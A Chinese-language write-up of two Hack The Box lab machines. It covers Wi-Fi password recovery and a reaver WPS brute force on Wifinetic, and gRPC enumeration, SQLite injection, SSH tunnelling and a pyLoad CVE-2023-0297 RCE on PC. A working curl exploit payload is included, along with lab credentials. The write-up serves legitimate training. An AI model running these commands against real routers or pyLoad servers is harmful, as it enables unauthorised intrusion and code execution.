HTB:Wifinetic&PC

文章发布时间:

最后更新时间:

文章总字数:
2.9k

预计阅读时间:
11 分钟

HTB:Wifinetic&PC

Wifinetic

这台靶机挺好的,打完学到了一堆网络网卡相关知识,还学会了怎么用 reaver 破解 WPA/WPA2 协议的 wifi 密码(日常生活中不建议尝试)

常规信息收集

扫到端口之后直接 nmap -A -p21,22,53 10.10.11.247 全套扫描,扫出来一个 ftp 匿名登录,登录之后可以下载的东西全部下载下来。

image.png

OpenWrt /etc 文件

这个 OpenWrt 是一个 linux 系统发行版。这里有一个备份文件,查看 pdf 的内容大概知道背景是公司要将 OpenWrt 换成 Ubuntu ,所以要求备份好数据。而 txt 文件里提到了使用 reaver 工具来检查 network 的安全性(后面会细说这个工具)这里备份文件解压出来是一个 /etc 文件夹,通过查看 passwd 来获得用户名,可以发现这里除了 root 和 ftp 之外还有一个 netadmin:

image.png

访问 shadow 可以得到 netadmin 密码的 hash ,但是破解不了。将目光转向 config 文件夹。在 OpenWrt 下,config 文件夹通常用来存放拓扑及路由配置,发现里面有一个 wireless 文件,其通常用来存放无线网络接口的配置信息及细节,访问可以获得 ssid 为 OpenWrt 的 wifi 密码。

image.png

VeRyUniUqWiFIPasswrd1! 尝试 ssh 登录(渗透测试基本意识,获得了不管什么密码都要 ssh 尝试登录一下,不行就试试 web 服务登录) root 和 netadmin,成功登录 netadmin ,获得 user flag。

reaver 破解 AP 密码

进入提权阶段,由于这台靶机是关于无线网络的,所以这里先介绍一下 wlan 接口的不同模式及其作用:

  1. Managed(管理模式):这是 WLAN 接口的默认模式,也是最常用的模式。在管理模式下,接口可以连接到无线访问点(AP)并与其进行通信。它可以扫描可用的无线网络,连接到指定的网络,并通过 AP 进行通信。这种模式适用于大多数常见的无线网络连接。
  2. Ad-hoc(自组网模式):在自组网模式下,WLAN 接口可以直接与其他具有相同SSID(无线网络名称)的接口进行通信,而无需通过无线访问点。这种模式适用于没有中央AP的点对点或点对多点的无线连接。
  3. Monitor(监控模式):监控模式是一种被动模式,用于监听和捕获无线网络中的数据包。在监控模式下,WLAN 接口可以接收和显示通过无线信道传输的所有数据包,而无需连接到特定的网络。这种模式通常用于网络分析和故障排除。
  4. Master(主模式):主模式通常用于创建无线访问点(AP),允许其他无线设备连接到该 AP,并通过它进行网络连接。在主模式下,WLAN 接口充当 AP,并管理与其连接的客户端设备。
  5. Repeater(中继模式):中继模式允许 WLAN 接口作为无线中继器或扩展器,将无线信号从一个 AP 中接收,并将其转发到另一个 AP,以扩展网络的范围。这种模式适用于扩大大型区域的无线覆盖范围。

先 ifconfig 一下,发现 wlan0,wlan1 两个接口都有独立的 ip 地址

image.png

然而从这里无法确定谁是 AP,可以使用 iw dev 命令来查看进一步的信息:

iw dev是一个用于管理无线设备的命令,它提供了关于无线设备的详细信息和配置选项。通过运行iw dev命令,您可以列出系统中的无线设备,并查看它们的属性和状态。

运行iw dev命令时,它将显示每个无线设备的以下信息:

  • 接口名称(Interface):无线设备的名称,通常以”wlan”或”wifi”开头,例如”wlan0”或”wlp2s0”。
  • 接口类型(Type):无线设备的类型,例如”managed”(托管模式)或”monitor”(监控模式)。
  • PHY号码(Phy):物理无线设备的编号。
  • 支持的接口模式(Supported interface modes):无线设备支持的不同模式,如”IBSS”(自组网)、”managed”(托管模式)、”AP”(访问点模式)等。
  • 当前接口模式(Current interface mode):无线设备当前正在使用的模式。
  • 支持的频段(Supported bands):无线设备支持的频段,如2.4 GHz或5 GHz。
  • 支持的频道宽度(Supported channel widths):无线设备支持的频道宽度选项。
  • 支持的MCS速率集(Supported RX MCS rates):无线设备支持的接收速率集合。

image.png

wlan0 是 AP,而且也可以得到 addr(也就是 BSSID),另外也可以得到网络的拓扑图:

image.png

使用命令 getcap -r / 2>/dev/null 查找所有文件中拥有额外能力的文件(因为 netadmin 不能使用 sudo ,很多操作受限),下面是一些常见的额外权限信息:

  1. CAP_NET_ADMIN:允许进行网络配置和管理,包括网络接口配置、防火墙设置等。
  2. CAP_NET_RAW:允许进行原始套接字操作,可以发送和接收网络数据包,包括对网络协议的直接访问。
  3. CAP_SYS_ADMIN:允许进行系统管理操作,包括挂载文件系统、修改系统时间、设置系统资源限制等。
  4. CAP_SYS_PTRACE:允许对其他进程进行调试和跟踪操作,包括使用ptrace函数进行进程间通信和调试。
  5. CAP_SYS_CHROOT:允许在进程的根目录之外进行chroot操作,即改变当前进程的根文件系统。
  6. CAP_DAC_OVERRIDE:允许忽略文件的权限限制,可以读取或修改不具备正常权限的文件。
  7. CAP_DAC_READ_SEARCH:允许读取或搜索没有正常权限的文件或目录。
  8. CAP_SETUIDCAP_SETGID:允许设置进程的有效用户ID(UID)和有效组ID(GID),即允许切换用户身份。

image.png

发现这个 reaver 可以直接访问网络协议,这不正好,直接用 reaver 把 AP 密码破了。

reaver 利用了 WiFi 保护设置(WiFi Protected Setup - 下文中简称为 WPS )的一个弱点,WPS 是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个 PIN 码绑定在一起。Reaver 利用的就是 PIN 码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解 WPA 或 WPA2 的密码(爆破)。

reaver 使用:reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1
-i 指定 mon0(处于监控模式下的接口),-b 指定需要破解设备的 BSSID,-vv 输出信息,-c 1 指定通道为 1 ,刚刚 iw dev 看到的,其实不指定它也会一个一个试。一般破解密码在 4-10 h。

破解出来一个密码直接 ssh root 登录成功,获得 system flag。

以下是一篇使用 reaver 实战破解 wifi 密码的文章,不建议日常生活中尝试,仅供学习参考:
https://linux.cn/article-2335-1.html

另外,文章中没提到的,如何将 wlan0mon 改回 wlan0,使用命令 sudo airmon-ng stop wlan0mon

PC

常规信息收集

扫出了 50051 端口和 22 端口(竟然没有 80 ?!)。

初探 gRPC 服务

开放了 50051 端口,关于 50051 端口的一些知识:

端口号 50051 通常用于 gRPC 服务。gRPC 是一种高性能、开源的远程过程调用( RPC )框架,它使用 Protocol Buffers 作为接口定义语言,并支持多种编程语言。 gRPC 基于 HTTP/2 协议进行通信,端口号 50051 是 gRPC 服务的默认端口号。

在 gRPC 中,客户端和服务器之间通过定义的接口和方法进行通信。客户端可以调用远程服务器上的方法,传递参数并接收返回结果。 gRPC 提供了强大的功能,例如双向流式传输、身份验证和流控制,使得它在分布式系统中广泛应用于构建高效、可扩展的服务。

上面提到了可以调用远程服务器上的方法,那首先我们需要知道远程服务器上有什么方法,可以使用 grpcurl 工具来利用 gRPC 反射特性获取 gRPC 服务的接口定义信息(当然如果有的话也可以直接看 IDL 为 Protocol Buffers 的接口定义文件,通常以 .proto 拓展名存储):

1
2
3
4
5
6
https://github.com/fullstorydev/grpcurl/releases/tag/v1.8.9
grpcurl -plaintext ip:50051 list
grpcurl -plaintext ip:50051 list SimpleApp
grpcurl -plaintext ip:50051 describe SimpleApp
grpcurl -plaintext ip:50051 describe LoginUserRequest
grpcurl -plaintext -format text -d 'username:"pazuris",password:"pazuris"' 10.10.11.214:50051 SimpleApp.RegisterUser

image.png

输出显示了两个服务。第一个是一个用户定义的名为” SimpleApp “的 gRPC 服务,我们将进一步列举它的方法。第二个是一个内置的服务,称为” ServerReflection “,它允许客户端动态查询和发现服务器上可用的 gRPC 服务的信息,包括服务定义、方法和消息格式。基本上,这第二个服务可以帮助我们调试和列举第一个服务。

接下来可以用 describe 进一步获取各接口的具体传入输出信息:

image.png

image.png

如图,可得知 LoginUser 接口需要 username 和 password 传入,然后返回一条 message 。

通过 grpcurl 尝试调用各方法:

image.png

getInfo 提示少了 token ,怀疑前面登录的时候有 token 返回,登录加上参数 -vv
显示详细信息,成功调用 info:

image.png

Sqlite 注入

都调用一遍之后发现没什么,漏洞点可能在输入处,是否存在注入,使用 or 1=1 探测,发现返回信息不同,确实存在 sql 注入。sqlite_version() 探出是 sqlite 注入,获取表名和列名方式和 mysql 不同:

1
2
3
SELECT name FROM sqlite_master WHERE type='table';
SELECT name, type FROM pragma_table_info('table_name');
替换 `table_name` 为你要查询的表的名称。

image.png

sau 账户密码:HereIsYourPassWord1431,ssh 登录成功。

ssh 远程端口转发

登录之后使用 ss -tlpn 命令查看目前本机监听中的端口,发现了 8000 和 9666 这两个监听本地地址的端口(由于其仅监听本地,所以未被 nmap 扫到)。

image.png

为了更好地探测这两个端口上开着什么服务,我们可以在本机上使用 ssh 的远程端口转发到本地命令。

1
2
3
4
5
6
7
ssh -L remote_port:localhost:local_port user@remote_host
ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214
-f:在鉴权完毕后 ssh 持续在后台运行
-N:表示不需要 shell ,仅仅用于端口转发
-L 8000:127.0.0.1:8000 :将远程主机的 8000 端口绑定到本机的 8000 端口上
另外,本地端口转发到远程使用下面的命令:
ssh -L local_port:target_ip:target_port user@target_ip

pyload RCE 提权

转发完成后,本地访问 127.0.0.1:8000 可以发现是一个 pyload 的服务,在目标机上查看此服务是什么用户在运行:ps aux | grep pyload,发现是 root ,考虑是否可以通过 pyload 漏洞来提权,pyload --version 可以发现版本号 0.5.0,上网找到了 CVE2023-0297 。

exploit:

1
curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'  $'http://<target>/flash/addcrypted2'

漏洞产生的原理就是 jk 会被当作 js 语句运行,而由于 pyimport 可以导入 OS 包,于是可以利用 os.system 执行 shell 命令。

由于已经进行了端口转发,目标机和本机上执行 exploit 效果一致,写一个 python 反弹 shell 文件,并在 exploit 里面运行:

image.png

image.png